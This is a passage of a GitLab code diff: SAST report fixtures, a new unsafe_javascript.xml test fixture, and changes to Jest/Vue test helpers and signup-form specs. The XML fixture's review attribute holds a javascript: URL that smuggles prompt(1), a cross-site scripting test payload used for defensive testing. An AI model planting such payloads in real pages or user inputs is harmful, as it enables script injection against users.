- "start_line": 6
- },
- "identifiers": [
- {
- "type": "flawfinder_func_name",
- "name": "Flawfinder - char",
- "value": "char"
- },
- {
- "type": "cwe",
- "name": "CWE-119",
- "value": "119",
- "url": "https://cwe.mitre.org/data/definitions/119.html"
- },
- {
- "type": "cwe",
- "name": "CWE-120",
- "value": "120",
- "url": "https://cwe.mitre.org/data/definitions/120.html"
- }
- ],
- "file": "cplusplus/src/hello.cpp",
- "line": 6,
- "url": "https://cwe.mitre.org/data/definitions/119.html",
- "tool": "flawfinder"
- },
- {
- "category": "sast",
- "message": "Does not check for buffer overflows when copying to destination [MS-banned] (CWE-120)",
- "cve": "cplusplus/src/hello.cpp:331c04062c4fe0c7c486f66f59e82ad146ab33cdd76ae757ca41f392d568cbd0:CWE-120",
- "confidence": "Low",
- "solution": "Consider using snprintf, strcpy_s, or strlcpy (warning: strncpy easily misused)",
- "scanner": {
- "id": "flawfinder",
- "name": "Flawfinder"
- },
- "location": {
- "file": "cplusplus/src/hello.cpp",
- "start_line": 7
- },
- "identifiers": [
- {
- "type": "flawfinder_func_name",
- "name": "Flawfinder - strcpy",
- "value": "strcpy"
- },
- {
- "type": "cwe",
- "name": "CWE-120",
- "value": "120",
- "url": "https://cwe.mitre.org/data/definitions/120.html"
- }
- ],
- "file": "cplusplus/src/hello.cpp",
- "line": 7,
- "url": "https://cwe.mitre.org/data/definitions/120.html",
- "tool": "flawfinder"
+ "tracking": {
+ "type": "source",
+ "items": [
+ {
+ "file": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy",
+ "start_line": 47,
+ "end_line": 47,
+ "signatures": [
+ {
+ "algorithm": "hash",
+ "value": "HASHVALUE"
+ },
+ {
+ "algorithm": "scope_offset",
+ "value": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy:App[0]:insecureCypher[0]:2"
+ }
+ ]
+ }
+ ]
+ }
}
],
"remediations": [],
"scan": {
"scanner": {
- "id": "gosec",
- "name": "Gosec",
- "url": "https://github.com/securego/gosec",
+ "id": "find_sec_bugs",
+ "name": "Find Security Bugs",
+ "url": "https://spotbugs.github.io",
"vendor": {
"name": "GitLab"
},
- "version": "2.3.0"
+ "version": "4.0.2"
},
"type": "sast",
"status": "success",
diff --git a/spec/fixtures/unsafe_javascript.xml b/spec/fixtures/unsafe_javascript.xml
new file mode 100644
index 00000000000..0c23d1e07db
--- /dev/null
+++ b/spec/fixtures/unsafe_javascript.xml
@@ -0,0 +1,10 @@
+<manifest>
+ <remote review="javascript://HelloTheGitlabSecurityTeam%0Aprompt(1)%0A" />
+
+ <project path="test1" name="manifest1" />
+ <project path="test2" name="manifest2" />
+ <project path="test3" name="manifest3" />
+ <project path="test4" name="manifest4" />
+ <project path="test5" name="manifest5" />
+ <project path="test6" name="manifest6" />
+</manifest> \ No newline at end of file
diff --git a/spec/frontend/__helpers__/experimentation_helper.js b/spec/frontend/__helpers__/experimentation_helper.js
index c08c25155e8..7a2ef61216a 100644
--- a/spec/frontend/__helpers__/experimentation_helper.js
+++ b/spec/frontend/__helpers__/experimentation_helper.js
@@ -12,3 +12,16 @@ export function withGonExperiment(experimentKey, value = true) {
window.gon = origGon;
});
}
+// This helper is for specs that use `gitlab-experiment` utilities, which have a different schema that gets pushed via Gon compared to `Experimentation Module`
+export function assignGitlabExperiment(experimentKey, variant) {
+ let origGon;
+
+ beforeEach(() => {
+ origGon = window.gon;
+ window.gon = { experiment: { [experimentKey]: { variant } } };
+ });
+
+ afterEach(() => {
+ window.gon = origGon;
+ });
+}
diff --git a/spec/frontend/__helpers__/mock_apollo_helper.js b/spec/frontend/__helpers__/mock_apollo_helper.js
index 914cce1d662..bd97a06071a 100644
--- a/spec/frontend/__helpers__/mock_apollo_helper.js
+++ b/spec/frontend/__helpers__/mock_apollo_helper.js
@@ -2,11 +2,15 @@ import { InMemoryCache } from 'apollo-cache-inmemory';
import { createMockClient } from 'mock-apollo-client';
import VueApollo from 'vue-apollo';
-export default (handlers = [], resolvers = {}) => {
- const fragmentMatcher = { match: () => true };
+const defaultCacheOptions = {
+ fragmentMatcher: { match: () => true },
+ addTypename: false,
+};
+
+export default (handlers = [], resolvers = {}, cacheOptions = {}) => {
const cache = new InMemoryCache({
- fragmentMatcher,
- addTypename: false,
+ ...defaultCacheOptions,
+ ...cacheOptions,
});
const mockClient = createMockClient({ cache, resolvers });
diff --git a/spec/frontend/__helpers__/vue_test_utils_helper.js b/spec/frontend/__helpers__/vue_test_utils_helper.js
index d6132ef84ac..a94cee84f74 100644
--- a/spec/frontend/__helpers__/vue_test_utils_helper.js
+++ b/spec/frontend/__helpers__/vue_test_utils_helper.js
@@ -1,4 +1,6 @@
-import { isArray } from 'lodash';
+import * as testingLibrary from '@testing-library/dom';
+import { createWrapper, WrapperArray, mount, shallowMount } from '@vue/test-utils';
+import { isArray, upperFirst } from 'lodash';
const vNodeContainsText = (vnode, text) =>
(vnode.text && vnode.text.includes(text)) ||
@@ -37,6 +39,17 @@ export const waitForMutation = (store, expectedMutationType) =>
});
export const extendedWrapper = (wrapper) => {
+ // https://testing-library.com/docs/queries/about
+ const AVAILABLE_QUERIES = [
+ 'byRole',
+ 'byLabelText',
+ 'byPlaceholderText',
+ 'byText',
+ 'byDisplayValue',
+ 'byAltText',
+ 'byTitle',
+ ];
+
if (isArray(wrapper) || !wrapper?.find) {
// eslint-disable-next-line no-console
console.warn(
@@ -56,5 +69,63 @@ export const extendedWrapper = (wrapper) => {
return this.findAll(`[data-testid="${id}"]`);
},
},
+ // `findBy`
+ ...AVAILABLE_QUERIES.reduce((accumulator, query) => {
+ return {
+ ...accumulator,
+ [`find${upperFirst(query)}`]: {
+ value(text, options = {}) {
+ const elements = testingLibrary[`queryAll${upperFirst(query)}`](
+ wrapper.element,
+ text,
+ options,
+ );
+
+ // Return VTU `ErrorWrapper` if element is not found
+ // https://github.com/vuejs/vue-test-utils/blob/dev/packages/test-utils/src/error-wrapper.js
+ // VTU does not expose `ErrorWrapper` so, as of now, this is the best way to
+ // create an `ErrorWrapper`
+ if (!elements.length) {
+ const emptyElement = document.createElement('div');
+
+ return createWrapper(emptyElement).find('testing-library-element-not-found');
+ }
+
+ return createWrapper(elements[0], this.options || {});
+ },
+ },
+ };
+ }, {}),
+ // `findAllBy`
+ ...AVAILABLE_QUERIES.reduce((accumulator, query) => {
+ return {
+ ...accumulator,
+ [`findAll${upperFirst(query)}`]: {
+ value(text, options = {}) {
+ const elements = testingLibrary[`queryAll${upperFirst(query)}`](
+ wrapper.element,
+ text,
+ options,
+ );
+
+ const wrappers = elements.map((element) => {
+ const elementWrapper = createWrapper(element, this.options || {});
+ elementWrapper.selector = text;
+
+ return elementWrapper;
+ });
+
+ const wrapperArray = new WrapperArray(wrappers);
+ wrapperArray.selector = text;
+
+ return wrapperArray;
+ },
+ },
+ };
+ }, {}),
});
};
+
+export const shallowMountExtended = (...args) => extendedWrapper(shallowMount(...args));
+
+export const mountExtended = (...args) => extendedWrapper(mount(...args));
diff --git a/spec/frontend/__helpers__/vue_test_utils_helper_spec.js b/spec/frontend/__helpers__/vue_test_utils_helper_spec.js
index d4f8e36c169..dfe5a483223 100644
--- a/spec/frontend/__helpers__/vue_test_utils_helper_spec.js
+++ b/spec/frontend/__helpers__/vue_test_utils_helper_spec.js
@@ -1,7 +1,27 @@
-import { shallowMount } from '@vue/test-utils';
-import { extendedWrapper, shallowWrapperContainsSlotText } from './vue_test_utils_helper';
+import * as testingLibrary from '@testing-library/dom';
+import * as vtu from '@vue/test-utils';
+import {
+ shallowMount,
+ Wrapper as VTUWrapper,
+ WrapperArray as VTUWrapperArray,
+} from '@vue/test-utils';
+import {
+ extendedWrapper,
+ shallowMountExtended,
+ mountExtended,
+ shallowWrapperContainsSlotText,
+} from './vue_test_utils_helper';
+
+jest.mock('@testing-library/dom', () => ({
+ __esModule: true,
+ ...jest.requireActual('@testing-library/dom'),
+}));
describe('Vue test utils helpers', () => {
+ afterAll(() => {
+ jest.unmock('@testing-library/dom');
+ });
+
describe('shallowWrapperContainsSlotText', () => {
const mockText = 'text';
const mockSlot = `<div>${mockText}</div>`;
@@ -84,7 +104,7 @@ describe('Vue test utils helpers', () => {
);
});
- it('should find the component by test id', () => {
+ it('should find the element by test id', () => {
expect(mockComponent.findByTestId(testId).exists()).toBe(true);
});
});
@@ -105,5 +125,187 @@ describe('Vue test utils helpers', () => {
expect(mockComponent.findAllByTestId(testId)).toHaveLength(2);
});
});
+
+ describe.each`
+ findMethod | expectedQuery
+ ${'findByRole'} | ${'queryAllByRole'}
+ ${'findByLabelText'} | ${'queryAllByLabelText'}
+ ${'findByPlaceholderText'} | ${'queryAllByPlaceholderText'}
+ ${'findByText'} | ${'queryAllByText'}
+ ${'findByDisplayValue'} | ${'queryAllByDisplayValue'}
+ ${'findByAltText'} | ${'queryAllByAltText'}
+ `('$findMethod', ({ findMethod, expectedQuery }) => {
+ const text = 'foo bar';
+ const options = { selector: 'div' };
+ const mockDiv = document.createElement('div');
+
+ let wrapper;
+ beforeEach(() => {
+ wrapper = extendedWrapper(
+ shallowMount({
+ template: `<div>foo bar</div>`,
+ }),
+ );
+ });
+
+ it(`calls Testing Library \`${expectedQuery}\` function with correct parameters`, () => {
+ jest.spyOn(testingLibrary, expectedQuery).mockImplementation(() => [mockDiv]);
+
+ wrapper[findMethod](text, options);
+
+ expect(testingLibrary[expectedQuery]).toHaveBeenLastCalledWith(
+ wrapper.element,
+ text,
+ options,
+ );
+ });
+
+ describe('when element is found', () => {
+ beforeEach(() => {
+ jest.spyOn(testingLibrary, expectedQuery).mockImplementation(() => [mockDiv]);
+ jest.spyOn(vtu, 'createWrapper');
+ });
+
+ it('returns a VTU wrapper', () => {
+ const result = wrapper[findMethod](text, options);
+
+ expect(vtu.createWrapper).toHaveBeenCalledWith(mockDiv, wrapper.options);
+ expect(result).toBeInstanceOf(VTUWrapper);
+ });
+ });
+
+ describe('when multiple elements are found', () => {
+ beforeEach(() => {
+ const mockSpan = document.createElement('span');
+ jest.spyOn(testingLibrary, expectedQuery).mockImplementation(() => [mockDiv, mockSpan]);
+ jest.spyOn(vtu, 'createWrapper');
+ });
+
+ it('returns the first element as a VTU wrapper', () => {
+ const result = wrapper[findMethod](text, options);
+
+ expect(vtu.createWrapper).toHaveBeenCalledWith(mockDiv, wrapper.options);
+ expect(result).toBeInstanceOf(VTUWrapper);
+ });
+ });
+
+ describe('when element is not found', () => {
+ beforeEach(() => {
+ jest.spyOn(testingLibrary, expectedQuery).mockImplementation(() => []);
+ });
+
+ it('returns a VTU error wrapper', () => {
+ expect(wrapper[findMethod](text, options).exists()).toBe(false);
+ });
+ });
+ });
+
+ describe.each`
+ findMethod | expectedQuery
+ ${'findAllByRole'} | ${'queryAllByRole'}
+ ${'findAllByLabelText'} | ${'queryAllByLabelText'}
+ ${'findAllByPlaceholderText'} | ${'queryAllByPlaceholderText'}
+ ${'findAllByText'} | ${'queryAllByText'}
+ ${'findAllByDisplayValue'} | ${'queryAllByDisplayValue'}
+ ${'findAllByAltText'} | ${'queryAllByAltText'}
+ `('$findMethod', ({ findMethod, expectedQuery }) => {
+ const text = 'foo bar';
+ const options = { selector: 'div' };
+ const mockElements = [
+ document.createElement('li'),
+ document.createElement('li'),
+ document.createElement('li'),
+ ];
+
+ let wrapper;
+ beforeEach(() => {
+ wrapper = extendedWrapper(
+ shallowMount({
+ template: `
+ <ul>
+ <li>foo</li>
+ <li>bar</li>
+ <li>baz</li>
+ </ul>
+ `,
+ }),
+ );
+ });
+
+ it(`calls Testing Library \`${expectedQuery}\` function with correct parameters`, () => {
+ jest.spyOn(testingLibrary, expectedQuery).mockImplementation(() => mockElements);
+
+ wrapper[findMethod](text, options);
+
+ expect(testingLibrary[expectedQuery]).toHaveBeenLastCalledWith(
+ wrapper.element,
+ text,
+ options,
+ );
+ });
+
+ describe('when elements are found', () => {
+ beforeEach(() => {
+ jest.spyOn(testingLibrary, expectedQuery).mockImplementation(() => mockElements);
+ });
+
+ it('returns a VTU wrapper array', () => {
+ const result = wrapper[findMethod](text, options);
+
+ expect(result).toBeInstanceOf(VTUWrapperArray);
+ expect(
+ result.wrappers.every(
+ (resultWrapper) =>
+ resultWrapper instanceof VTUWrapper && resultWrapper.options === wrapper.options,
+ ),
+ ).toBe(true);
+ expect(result.length).toBe(3);
+ });
+ });
+
+ describe('when elements are not found', () => {
+ beforeEach(() => {
+ jest.spyOn(testingLibrary, expectedQuery).mockImplementation(() => []);
+ });
+
+ it('returns an empty VTU wrapper array', () => {
+ const result = wrapper[findMethod](text, options);
+
+ expect(result).toBeInstanceOf(VTUWrapperArray);
+ expect(result.length).toBe(0);
+ });
+ });
+ });
+ });
+
+ describe.each`
+ mountExtendedFunction | expectedMountFunction
+ ${shallowMountExtended} | ${'shallowMount'}
+ ${mountExtended} | ${'mount'}
+ `('$mountExtendedFunction', ({ mountExtendedFunction, expectedMountFunction }) => {
+ const FakeComponent = jest.fn();
+ const options = {
+ propsData: {
+ foo: 'bar',
+ },
+ };
+
+ beforeEach(() => {
+ const mockWrapper = { find: jest.fn() };
+ jest.spyOn(vtu, expectedMountFunction).mockImplementation(() => mockWrapper);
+ });
+
+ it(`calls \`${expectedMountFunction}\` with passed arguments`, () => {
+ mountExtendedFunction(FakeComponent, options);
+
+ expect(vtu[expectedMountFunction]).toHaveBeenCalledWith(FakeComponent, options);
+ });
+
+ it('returns extended wrapper', () => {
+ const result = mountExtendedFunction(FakeComponent, options);
+
+ expect(result).toHaveProperty('find');
+ expect(result).toHaveProperty('findByTestId');
+ });
});
});
diff --git a/spec/frontend/__helpers__/web_worker_fake.js b/spec/frontend/__helpers__/web_worker_fake.js
new file mode 100644
index 00000000000..041a9bd8540
--- /dev/null
+++ b/spec/frontend/__helpers__/web_worker_fake.js
@@ -0,0 +1,71 @@
+import path from 'path';
+
+const isRelative = (pathArg) => pathArg.startsWith('.');
+
+const transformRequirePath = (base, pathArg) => {
+ if (!isRelative(pathArg)) {
+ return pathArg;
+ }
+
+ return path.resolve(base, pathArg);
+};
+
+const createRelativeRequire = (filename) => {
+ const rel = path.relative(__dirname, path.dirname(filename));
+ const base = path.resolve(__dirname, rel);
+
+ // reason: Dynamic require should be fine here since the code is dynamically evaluated anyways.
+ // eslint-disable-next-line import/no-dynamic-require, global-require
+ return (pathArg) => require(transformRequirePath(base, pathArg));
+};
+
+/**
+ * Simulates a WebWorker module similar to the kind created by Webpack's [`worker-loader`][1]
+ *
+ * [1]: https://webpack.js.org/loaders/worker-loader/
+ */
+export class FakeWebWorker {
+ /**
+ * Constructs a new FakeWebWorker instance
+ *
+ * @param {String} filename is the full path of the code, which is used to resolve relative imports.
+ * @param {String} code is the raw code of the web worker, which is dynamically evaluated on construction.
+ */
+ constructor(filename, code) {
+ let isAlive = true;
+
+ const clientTarget = new EventTarget();
+ const workerTarget = new EventTarget();
+
+ this.addEventListener = (...args) => clientTarget.addEventListener(...args);
+ this.removeEventListener = (...args) => clientTarget.removeEventListener(...args);
+ this.postMessage = (message) => {
+ if (!isAlive) {
+ return;
+ }
+
+ workerTarget.dispatchEvent(new MessageEvent('message', { data: message }));
+ };
+ this.terminate = () => {
+ isAlive = false;
+ };
+
+ const workerScope = {
+ addEventListener: (...args) => workerTarget.addEventListener(...args),
+ removeEventListener: (...args) => workerTarget.removeEventListener(...args),
+ postMessage: (message) => {
+ if (!isAlive) {
+ return;
+ }
+
+ clientTarget.dispatchEvent(new MessageEvent('message', { data: message }));
+ },
+ };
+
+ // reason: `no-new-func` is like `eval` except it only executed on global scope and it's easy
+ // to pass in local references. `eval` is very unsafe in production, but in our test environment
+ // we shold be fine.
+ // eslint-disable-next-line no-new-func
+ Function('self', 'require', code)(workerScope, createRelativeRequire(filename));
+ }
+}
diff --git a/spec/frontend/__helpers__/web_worker_mock.js b/spec/frontend/__helpers__/web_worker_mock.js
deleted file mode 100644
index 2b4a391e1d2..00000000000
--- a/spec/frontend/__helpers__/web_worker_mock.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/* eslint-disable class-methods-use-this */
-export default class WebWorkerMock {
- addEventListener() {}
-
- removeEventListener() {}
-
- terminate() {}
-
- postMessage() {}
-}
diff --git a/spec/frontend/__helpers__/web_worker_transformer.js b/spec/frontend/__helpers__/web_worker_transformer.js
new file mode 100644
index 00000000000..5b2f7d77947
--- /dev/null
+++ b/spec/frontend/__helpers__/web_worker_transformer.js
@@ -0,0 +1,18 @@
+/* eslint-disable import/no-commonjs */
+const babelJestTransformer = require('babel-jest');
+
+// This Jest will transform the code of a WebWorker module into a FakeWebWorker subclass.
+// This is meant to mirror Webpack's [`worker-loader`][1].
+// [1]: https://webpack.js.org/loaders/worker-loader/
+module.exports = {
+ process: (contentArg, filename, ...args) => {
+ const { code: content } = babelJestTransformer.process(contentArg, filename, ...args);
+
+ return `const { FakeWebWorker } = require("helpers/web_worker_fake");
+ module.exports = class JestTransformedWorker extends FakeWebWorker {
+ constructor() {
+ super(${JSON.stringify(filename)}, ${JSON.stringify(content)});
+ }
+ };`;
+ },
+};
diff --git a/spec/frontend/__mocks__/vue/index.js b/spec/frontend/__mocks__/vue/index.js
new file mode 100644
index 00000000000..52a5c6c5fcd
--- /dev/null
+++ b/spec/frontend/__mocks__/vue/index.js
@@ -0,0 +1,7 @@
+import Vue from 'vue';
+
+Vue.config.productionTip = false;
+Vue.config.devtools = false;
+
+export default Vue;
+export * from 'vue';
diff --git a/spec/frontend/access_tokens/index_spec.js b/spec/frontend/access_tokens/index_spec.js
index e3f17e21739..1d8ac7cec25 100644
--- a/spec/frontend/access_tokens/index_spec.js
+++ b/spec/frontend/access_tokens/index_spec.js
@@ -25,18 +25,22 @@ describe('access tokens', () => {
});
describe.each`
- initFunction | mountSelector | expectedComponent
- ${initExpiresAtField} | ${'js-access-tokens-expires-at'} | ${ExpiresAtField}
- ${initProjectsField} | ${'js-access-tokens-projects'} | ${ProjectsField}
- `('$initFunction', ({ initFunction, mountSelector, expectedComponent }) => {
+ initFunction | mountSelector | fieldName | expectedComponent
+ ${initExpiresAtField} | ${'js-access-tokens-expires-at'} | ${'expiresAt'} | ${ExpiresAtField}
+ ${initProjectsField} | ${'js-access-tokens-projects'} | ${'projects'} | ${ProjectsField}
+ `('$initFunction', ({ initFunction, mountSelector, fieldName, expectedComponent }) => {
describe('when mount element exists', () => {
+ const nameAttribute = `access_tokens[${fieldName}]`;
+ const idAttribute = `access_tokens_${fieldName}`;
+
beforeEach(() => {
const mountEl = document.createElement('div');
mountEl.classList.add(mountSelector);
const input = document.createElement('input');
- input.setAttribute('name', 'foo-bar');
- input.setAttribute('id', 'foo-bar');
+ input.setAttribute('name', nameAttribute);
+ input.setAttribute('data-js-name', fieldName);
+ input.setAttribute('id', idAttribute);
input.setAttribute('placeholder', 'Foo bar');
input.setAttribute('value', '1,2');
@@ -57,8 +61,8 @@ describe('access tokens', () => {
expect(component.exists()).toBe(true);
expect(component.props('inputAttrs')).toEqual({
- name: 'foo-bar',
- id: 'foo-bar',
+ name: nameAttribute,
+ id: idAttribute,
value: '1,2',
placeholder: 'Foo bar',
});
diff --git a/spec/frontend/admin/signup_restrictions/components/signup_checkbox_spec.js b/spec/frontend/admin/signup_restrictions/components/signup_checkbox_spec.js
new file mode 100644
index 00000000000..ae9b6f57ee0
--- /dev/null
+++ b/spec/frontend/admin/signup_restrictions/components/signup_checkbox_spec.js
@@ -0,0 +1,66 @@
+import { GlFormCheckbox } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import SignupCheckbox from '~/pages/admin/application_settings/general/components/signup_checkbox.vue';
+
+describe('Signup Form', () => {
+ let wrapper;
+
+ const props = {
+ name: 'name',
+ helpText: 'some help text',
+ label: 'a label',
+ value: true,
+ dataQaSelector: 'qa_selector',
+ };
+
+ const mountComponent = () => {
+ wrapper = shallowMount(SignupCheckbox, {
+ propsData: props,
+ stubs: {
+ GlFormCheckbox,
+ },
+ });
+ };
+
+ const findByTestId = (id) => wrapper.find(`[data-testid="${id}"]`);
+ const findHiddenInput = () => findByTestId('input');
+ const findCheckbox = () => wrapper.find(GlFormCheckbox);
+ const findCheckboxLabel = () => findByTestId('label');
+ const findHelpText = () => findByTestId('helpText');
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('Signup Checkbox', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ describe('hidden input element', () => {
+ it('gets passed correct values from props', () => {
+ expect(findHiddenInput().attributes('name')).toBe(props.name);
+
+ expect(findHiddenInput().attributes('value')).toBe('1');
+ });
+ });
+
+ describe('checkbox', () => {
+ it('gets passed correct checked value', () => {
+ expect(findCheckbox().attributes('checked')).toBe('true');
+ });
+
+ it('gets passed correct label', () => {
+ expect(findCheckboxLabel().text()).toBe(props.label);
+ });
+
+ it('gets passed correct help text', () => {
+ expect(findHelpText().text()).toBe(props.helpText);
+ });
+
+ it('gets passed data qa selector', () => {
+ expect(findCheckbox().attributes('data-qa-selector')).toBe(props.dataQaSelector);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/admin/signup_restrictions/components/signup_form_spec.js b/spec/frontend/admin/signup_restrictions/components/signup_form_spec.js
new file mode 100644
index 00000000000..18339164d5a
--- /dev/null
+++ b/spec/frontend/admin/signup_restrictions/components/signup_form_spec.js
@@ -0,0 +1,331 @@
+import { GlButton, GlModal } from '@gitlab/ui';
+import { within, fireEvent } from '@testing-library/dom';
+import { shallowMount, mount } from '@vue/test-utils';
+import { stubComponent } from 'helpers/stub_component';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import SignupForm from '~/pages/admin/application_settings/general/components/signup_form.vue';
+import { mockData } from '../mock_data';
+
+jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
+
+describe('Signup Form', () => {
+ let wrapper;
+ let formSubmitSpy;
+
+ const mountComponent = ({ injectedProps = {}, mountFn = shallowMount, stubs = {} } = {}) => {
+ wrapper = extendedWrapper(
+ mountFn(SignupForm, {
+ provide: {
+ ...mockData,
+ ...injectedProps,
+ },
+ stubs,
+ }),
+ );
+ };
+
+ const queryByLabelText = (text) => within(wrapper.element).queryByLabelText(text);
+
+ const findForm = () => wrapper.findByTestId('form');
+ const findInputCsrf = () => findForm().find('[name="authenticity_token"]');
+ const findFormSubmitButton = () => findForm().find(GlButton);
+
+ const findDenyListRawRadio = () => queryByLabelText('Enter denylist manually');
+ const findDenyListFileRadio = () => queryByLabelText('Upload denylist file');
+
+ const findDenyListRawInputGroup = () => wrapper.findByTestId('domain-denylist-raw-input-group');
+ const findDenyListFileInputGroup = () => wrapper.findByTestId('domain-denylist-file-input-group');
+
+ const findRequireAdminApprovalCheckbox = () =>
+ wrapper.findByTestId('require-admin-approval-checkbox');
+ const findUserCapInput = () => wrapper.findByTestId('user-cap-input');
+ const findModal = () => wrapper.find(GlModal);
+
+ afterEach(() => {
+ wrapper.destroy();
+
+ formSubmitSpy = null;
+ });
+
+ describe('form data', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it.each`
+ prop | propValue | elementSelector | formElementPassedDataType | formElementKey | expected
+ ${'signupEnabled'} | ${mockData.signupEnabled} | ${'[name="application_setting[signup_enabled]"]'} | ${'prop'} | ${'value'} | ${mockData.signupEnabled}
+ ${'requireAdminApprovalAfterUserSignup'} | ${mockData.requireAdminApprovalAfterUserSignup} | ${'[name="application_setting[require_admin_approval_after_user_signup]"]'} | ${'prop'} | ${'value'} | ${mockData.requireAdminApprovalAfterUserSignup}
+ ${'sendUserConfirmationEmail'} | ${mockData.sendUserConfirmationEmail} | ${'[name="application_setting[send_user_confirmation_email]"]'} | ${'prop'} | ${'value'} | ${mockData.sendUserConfirmationEmail}
+ ${'newUserSignupsCap'} | ${mockData.newUserSignupsCap} | ${'[name="application_setting[new_user_signups_cap]"]'} | ${'attribute'} | ${'value'} | ${mockData.newUserSignupsCap}
+ ${'minimumPasswordLength'} | ${mockData.minimumPasswordLength} | ${'[name="application_setting[minimum_password_length]"]'} | ${'attribute'} | ${'value'} | ${mockData.minimumPasswordLength}
+ ${'minimumPasswordLengthMin'} | ${mockData.minimumPasswordLengthMin} | ${'[name="application_setting[minimum_password_length]"]'} | ${'attribute'} | ${'min'} | ${mockData.minimumPasswordLengthMin}
+ ${'minimumPasswordLengthMax'} | ${mockData.minimumPasswordLengthMax} | ${'[name="application_setting[minimum_password_length]"]'} | ${'attribute'} | ${'max'} | ${mockData.minimumPasswordLengthMax}
+ ${'domainAllowlistRaw'} | ${mockData.domainAllowlistRaw} | ${'[name="application_setting[domain_allowlist_raw]"]'} | ${'value'} | ${'value'} | ${mockData.domainAllowlistRaw}
+ ${'domainDenylistEnabled'} | ${mockData.domainDenylistEnabled} | ${'[name="application_setting[domain_denylist_enabled]"]'} | ${'prop'} | ${'value'} | ${mockData.domainDenylistEnabled}
+ ${'denylistTypeRawSelected'} | ${mockData.denylistTypeRawSelected} | ${'[name="denylist_type"]'} | ${'attribute'} | ${'checked'} | ${'raw'}
+ ${'domainDenylistRaw'} | ${mockData.domainDenylistRaw} | ${'[name="application_setting[domain_denylist_raw]"]'} | ${'value'} | ${'value'} | ${mockData.domainDenylistRaw}
+ ${'emailRestrictionsEnabled'} | ${mockData.emailRestrictionsEnabled} | ${'[name="application_setting[email_restrictions_enabled]"]'} | ${'prop'} | ${'value'} | ${mockData.emailRestrictionsEnabled}
+ ${'emailRestrictions'} | ${mockData.emailRestrictions} | ${'[name="application_setting[email_restrictions]"]'} | ${'value'} | ${'value'} | ${mockData.emailRestrictions}
+ ${'afterSignUpText'} | ${mockData.afterSignUpText} | ${'[name="application_setting[after_sign_up_text]"]'} | ${'value'} | ${'value'} | ${mockData.afterSignUpText}
+ `(
+ 'form element $elementSelector gets $expected value for $formElementKey $formElementPassedDataType when prop $prop is set to $propValue',
+ ({ elementSelector, expected, formElementKey, formElementPassedDataType }) => {
+ const formElement = wrapper.find(elementSelector);
+
+ switch (formElementPassedDataType) {
+ case 'attribute':
+ expect(formElement.attributes(formElementKey)).toBe(expected);
+ break;
+ case 'prop':
+ expect(formElement.props(formElementKey)).toBe(expected);
+ break;
+ case 'value':
+ expect(formElement.element.value).toBe(expected);
+ break;
+ default:
+ expect(formElement.props(formElementKey)).toBe(expected);
+ break;
+ }
+ },
+ );
+ it('gets passed the path for action attribute', () => {
+ expect(findForm().attributes('action')).toBe(mockData.settingsPath);
+ });
+
+ it('gets passed the csrf token as a hidden input value', () => {
+ expect(findInputCsrf().attributes('type')).toBe('hidden');
+
+ expect(findInputCsrf().attributes('value')).toBe('mock-csrf-token');
+ });
+ });
+
+ describe('domain deny list', () => {
+ describe('when it is set to raw from props', () => {
+ beforeEach(() => {
+ mountComponent({ mountFn: mount });
+ });
+
+ it('has raw list selected', () => {
+ expect(findDenyListRawRadio().checked).toBe(true);
+ });
+
+ it('has file not selected', () => {
+ expect(findDenyListFileRadio().checked).toBe(false);
+ });
+
+ it('raw list input is displayed', () => {
+ expect(findDenyListRawInputGroup().exists()).toBe(true);
+ });
+
+ it('file input is not displayed', () => {
+ expect(findDenyListFileInputGroup().exists()).toBe(false);
+ });
+
+ describe('when user clicks on file radio', () => {
+ beforeEach(() => {
+ fireEvent.click(findDenyListFileRadio());
+ });
+
+ it('has raw list not selected', () => {
+ expect(findDenyListRawRadio().checked).toBe(false);
+ });
+
+ it('has file selected', () => {
+ expect(findDenyListFileRadio().checked).toBe(true);
+ });
+
+ it('raw list input is not displayed', () => {
+ expect(findDenyListRawInputGroup().exists()).toBe(false);
+ });
+
+ it('file input is displayed', () => {
+ expect(findDenyListFileInputGroup().exists()).toBe(true);
+ });
+ });
+ });
+
+ describe('when it is set to file from injected props', () => {
+ beforeEach(() => {
+ mountComponent({ mountFn: mount, injectedProps: { denylistTypeRawSelected: false } });
+ });
+
+ it('has raw list not selected', () => {
+ expect(findDenyListRawRadio().checked).toBe(false);
+ });
+
+ it('has file selected', () => {
+ expect(findDenyListFileRadio().checked).toBe(true);
+ });
+
+ it('raw list input is not displayed', () => {
+ expect(findDenyListRawInputGroup().exists()).toBe(false);
+ });
+
+ it('file input is displayed', () => {
+ expect(findDenyListFileInputGroup().exists()).toBe(true);
+ });
+
+ describe('when user clicks on raw list radio', () => {
+ beforeEach(() => {
+ fireEvent.click(findDenyListRawRadio());
+ });
+
+ it('has raw list selected', () => {
+ expect(findDenyListRawRadio().checked).toBe(true);
+ });
+
+ it('has file not selected', () => {
+ expect(findDenyListFileRadio().checked).toBe(false);
+ });
+
+ it('raw list input is displayed', () => {
+ expect(findDenyListRawInputGroup().exists()).toBe(true);
+ });
+
+ it('file input is not displayed', () => {
+ expect(findDenyListFileInputGroup().exists()).toBe(false);
+ });
+ });
+ });
+ });
+
+ describe('form submit button confirmation modal for side-effect of adding possibly unwanted new users', () => {
+ it.each`
+ requireAdminApprovalAction | userCapAction | buttonEffect
+ ${'unchanged from true'} | ${'unchanged'} | ${'submits form'}
+ ${'unchanged from false'} | ${'unchanged'} | ${'submits form'}
+ ${'toggled off'} | ${'unchanged'} | ${'shows confirmation modal'}
+ ${'toggled on'} | ${'unchanged'} | ${'submits form'}
+ ${'unchanged from false'} | ${'increased'} | ${'shows confirmation modal'}
+ ${'unchanged from true'} | ${'increased'} | ${'shows confirmation modal'}
+ ${'toggled off'} | ${'increased'} | ${'shows confirmation modal'}
+ ${'toggled on'} | ${'increased'} | ${'shows confirmation modal'}
+ ${'toggled on'} | ${'decreased'} | ${'submits form'}
+ ${'unchanged from false'} | ${'changed from limited to unlimited'} | ${'shows confirmation modal'}
+ ${'unchanged from false'} | ${'changed from unlimited to limited'} | ${'submits form'}
+ ${'unchanged from false'} | ${'unchanged from unlimited'} | ${'submits form'}
